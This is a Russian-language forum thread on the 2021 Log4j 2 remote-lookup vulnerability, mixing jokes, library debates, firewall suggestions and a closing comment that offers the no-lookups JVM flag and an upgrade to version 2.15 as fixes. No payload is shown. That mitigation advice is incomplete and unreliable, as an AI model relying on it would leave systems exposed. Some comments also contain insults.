Отправлено Аноним , 10-Дек-21 15:10 
Успагойся, то был просто растотроллинг.

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 15:17 
> Успагойся, то был просто растотроллинг.

Ну неприятно испытывать испанский стыд из-за таких петросянов. Типа шутка-троллинг, правда ее регулярно рассказывают далеко не первый год. Должно надесть жрать одно и то же.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 11:16 
Это не уязвимость. Это - бэкдор, подобную функциональность включать в логах.

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Онаним , 10-Дек-21 11:36 
Это не уязвимость, и не бэкдор. Это макакинг. А чо. Эвал прямо в логе - круто же, смотрите как мы можем, удобно, трендово, смузи, вейп...

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Онаним , 10-Дек-21 11:50 
"Фреймворк для ведения логов" - это звучит крутенько.

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено mos87 , 10-Дек-21 12:06 
глобально и надёжно

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 12:13 
Надежно можно получать неофициальную информацию от кого угодно. Да там таких уязвимостей на много лет припасено.  

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Michael Shigorin , 10-Дек-21 13:04 
> Да там таких уязвимостей на много лет припасено.

Вспомнилось: https://www.opennet.me/openforum/vsluhforumID3/125836.html#85 (надеюсь, erthink со временем доберётся там своей рукой написать, о чём говорил -- попросил его).

PS: нашлись все три комментария в первоисточнике, процитировал там же.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Онаним , 10-Дек-21 16:58 
> глобально и надёжно

Энтерпрайзно.
Logs-as-a-code.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 12:11 
А вот если бы писали на Хаскеле...

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Michael Shigorin , 10-Дек-21 13:05 
...да с таким же упованием на дело рук человеческих токмо...

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 12:14 
Говоря откровенно, Log4j уже лет 10 как не рекомендуется использовать. Есть SLF4j и logback на замену.

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 12:25 
У нас в рекомендациях от архитектуры всё ровно наоброт, мол slf4j и logback уже давно мёртвые, а log4j2 ещё и лучше оптимизирован и вообще allocation-free. Хотя я когда то попал в дебри исходников log4j2 - опплевался.

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 12:45 
Если пользоваться Spring, то logback официально рекомендуемый.

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Наме , 13-Дек-21 11:15 
А не надо спрингом пользоваться.

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено ELF , 10-Дек-21 13:25 
он log4j 1х, это да, 10 лет из танка не вылезал

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено пох. , 10-Дек-21 15:16 
> он log4j 1х, это да, 10 лет из танка не вылезал

ты уверен что во второй версии нет той же самой фичи? Не может быть! Должны были добавить, а не убавить.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено ELF , 10-Дек-21 16:38 
речь как раз про вторую версию - рекомендуемую (с дебильной фичей), а первую не рекомендуют использовать уж 10 лет, кстати новость была - Катастрофическая уязвимость в Apache log4j, из нее как-будто это про log4j 1.х , теперь желтуху убрали и с версией определились.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено пох. , 11-Дек-21 13:36 
> речь как раз про вторую версию - рекомендуемую (с дебильной фичей), а

а, ну вот, теперь мир снова перевернут в нормальное положение.

В первой может и правда такой фичи еще не додумались - не рекомендую ее использовать, скучная она какая-то, не может внезапно с чужого ldap что-нить этакое исполнить.



"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Наме , 13-Дек-21 11:15 
Есть JUL и его хватает для всего.

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено morphe , 10-Дек-21 13:21 
Много где slf4j стоит с log4j бекендом, из-за того что много существующих либ работают через log4j
Ну и наоборот бывает, log4j направленный в slf4j

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Ololo , 10-Дек-21 16:23 
Slf4j - по сути фасад, который можно навесить над разными логерами, в т.ч. log4j

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено hohoho , 10-Дек-21 21:55 
Глупость, куда твой slf4j логирует? Это интерфейс.

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 11-Дек-21 09:42 
> Глупость, куда твой slf4j логирует?

в logback, как выше написано


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 12:34 
там чтобы уязвимость работали макака должна пользовательскую строку не как параметр добавить а явно приконкатинировать в сообщение с масками.
То есть джава-макаки не знают как работать с printf

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено morphe , 10-Дек-21 13:18 
Неа, оно раскрывается уже после подстановки параметров в строку форматирования
Т.е .error("{}", userInput) тоже уязвим

"Катастрофическая уязвимость в Apache Log4j 2, затрагивающая ..."
Отправлено Аноним , 10-Дек-21 12:36 
Самое время задействовать умение настройки firewall.
Блокируем исходящие соединения на порт 389. При необходимости, впереди добавляем разрешающее правило с указанием нужных IP.

"Катастрофическая уязвимость в Apache Log4j 2, затрагивающая ..."
Отправлено пох. , 10-Дек-21 13:11 
> Самое время задействовать умение настройки firewall.
> Блокируем исходящие соединения на порт 389.

ой, вендовая сеть легла. Кнутователь уже бежит в твою сторону.

Не, я не советую выяснять нужные адреса уже после добавления шибкоумной настройки. Могут успеть добежать с кнутом.


P.S. нет, периметр это хорошо и полезно, но вот беда - в любой большой сети всегда можно найти где-нибудь в дальнем-темном углу еще что-то уязвимое, что само по себе было бы безопасным поскольку никуда доступов не имеет и ничего ценного не содержит. Но на него может зайти сервер. И поскольку оба внутри периметра...



"Катастрофическая уязвимость в Apache Log4j 2, затрагивающая ..."
Отправлено morphe , 10-Дек-21 13:19 
В url можно свой порт передать, никто не заставляет сервер с ldap держать не на стандартном порту

"Катастрофическая уязвимость в Apache Log4j 2, затрагивающая ..."
Отправлено пох. , 10-Дек-21 15:13 
> В url можно свой порт передать, никто не заставляет сервер с ldap
> держать не на стандартном порту

ffuck... и что, эта тварь туда и полезет? (я почти уверен что таки да, к*к*к*кодереюзе жеж, зачем нам как-то по особому парсить урл для лдапа. Ну и у кого с внутренних серверов конторы наглухо перекрыт 80й?)


"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено Аноним , 10-Дек-21 13:06 
Причём тут java впринципе? Мамкины кодеры любят использовать тонны third-party фреймворков. Да, не спорю что так код писать быстрее но если нужно надежнее - не используй 3rd party если можешь обойтись, особенно для критически уязвимой инфраструктуры.

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено ELF , 10-Дек-21 13:28 
молодец, профессионала за версту видно

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено OramahMaalhur , 10-Дек-21 14:11 
А вы таки переизобретаете логгер для критически уязвимой инфраструктуры каждого своего хелловолда?

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено Онаним , 10-Дек-21 21:04 
Не надо переизобретать логгер.
Достаточно один раз его написать, и каждый хеллоуворлд сможет его юзать.
Но это будет не third-party код, в который нечаянно eval левые васяны уже не добавят.

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено Онаним , 10-Дек-21 21:05 
Абсолютно да. Third party только по абсолютной необходимости, всегда *хотя бы* с визуальным аудитом, без автообновления.

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено Аноним , 10-Дек-21 13:41 
Вполне ожидаемо от апача и жавы.

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено IdeaFix , 10-Дек-21 16:12 
У бизнеса лог4ж-1.2  массово... все эти новые технологии в бизнес не придут еще 100 лет.

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено n00by , 10-Дек-21 17:41 
Зато Eclipse после установки лагина приходится перезапускать.

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено hohoho , 10-Дек-21 21:59 
В статье не упоминается что уязвимость в PatternLayout. Если вы используете другой лэйоут, например jsonовский EcsLayout, то бэкдор не работает.

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено Аноним , 10-Дек-21 22:46 
Вспоминается та недавняя уявзимость в imagemagick. Тоже ходило в интернет куда скажут.

Почему в мануалах ещё в отдельном разделе выделенном большими красными буквами не предупреждают, что программа/библиотека будет сама лазать куда-то в интернет в таких-то и таких-то случаях?


"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено Аноним , 11-Дек-21 03:33 
По хорошему такого поведения без лишних телодвижений быть не должно и предупреждать тогда ни о чем не нужно. Безопасное поведение по умолчанию. В этом плане авторы log4j подложили свинью пользователям библиотеки.

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено Аноним , 10-Дек-21 23:07 
На жабе не пишу, но недавно приходилось прикручивать кое-какие поделки через JNI. С этого log4 плевался особенно долго. Где-то читал, что жабу ждет судьба кобола. Легаси сектор и хорошая зарплата кому уже пох и пенсия скоро.

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено пох. , 11-Дек-21 09:04 
Не читай ту глупую мурзилку больше.

Жабу ждет судьба кобола возведенного в факториал. Т.е. хороших зарплат будет больше чем способных их получить, поскольку разбираться в нагромождениях чужого кода это тебе не гуанокодить с нуля абы что, поэтому нанимать будут И тех кому пох и пенсия, и кто только что открыл учебник, и кто даже не открывал но нассал манагеру в уши. И всех на хорошую зарплату. И смогут морщить морду что смузи в этой лавке по утрам подают клубничный, а им нравится банановый, немедленно увольняюсь. Но их понадобятся миллионы, а не тысяча.

Учи жабу, сынок, учи - это беспроигрышно. Вооон сколько сейчас полезут пересобирать прожекты от которых ни доков ни понимания не осталось, но торчат наружу и используют нескучный log4j2


"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено Аноним , 13-Дек-21 03:14 
Вот уж действительно все плохо там у вас.
Не, снова учить всякую каку это уж слишком. Я ее только недавно забыл.

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено Аноним , 11-Дек-21 16:06 
Программистам на Коболе так и не стали платить заоблачные зарплаты

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено _ , 12-Дек-21 03:45 
В России? Конечно не платят, откуда в ней софт на Коблое?!?!
В США к примеру - платят, их Java Senior Developerы завидуют аж до позеленения и квакаютЪ :)
Но всё имеет начало и конец - в облаках мэйнфреймов нет, сказка идёт к развязке.

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено пох. , 13-Дек-21 08:28 
> В России? Конечно не платят, откуда в ней софт на Коблое?!?!
> В США к примеру - платят, их Java Senior Developerы завидуют аж
> до позеленения и квакаютЪ :)
> Но всё имеет начало и конец - в облаках мэйнфреймов нет, сказка
> идёт к развязке.

будут эмулировать. Квалификация исчезает быстрее мэйнфреймов, поэтому переписать то от чего на самом деле зависят деньги - никто не возьмется. Те программисты-на-коболе - тем более не возьмутся, даже если бы могли именно переписать, а не по мелочи править тридцатилетний код, у них нет желания героически сделать мир чуточку хуже.


"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено Наме , 13-Дек-21 10:32 
Облака медленные и данные из мэнфрейма перенести это как на луну в очередной раз слетать.

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено InuYasha , 11-Дек-21 17:12 
Весь мир в труху, абсурд, коррупцию, хаос и скайнеты. )

PS: Java - и пусть весь мир подож..жёт. )


"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено spanjokus , 12-Дек-21 17:13 
катастрофическая

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено Наме , 13-Дек-21 10:24 
log4j всегда был индуским шлаком. Надо быть без башки, чтобы его использовать в проме.

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено Наме , 13-Дек-21 10:30 
А файрвол не? JNDI-запросы наружу это как-то вызывает вопросы, мягко скажем.

"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено shricke , 13-Дек-21 17:37 
В теории, если в java security настроено разрешение загрузки классов только из разрешенных папок, то exploit не должен сработать.

Теперь как это можно пофиксить:
1) Без обновления библиотеки:
Отключить через параметр с перезапуском jvm: -Dlog4j2.formatMsgNoLookups=true
2) Обновить log4j на версию 2.15


"Критическая уязвимость в Apache Log4j 2, затрагивающая многи..."
Отправлено szt1980 , 17-Дек-21 00:02 
А все потому, что не на растишке написан.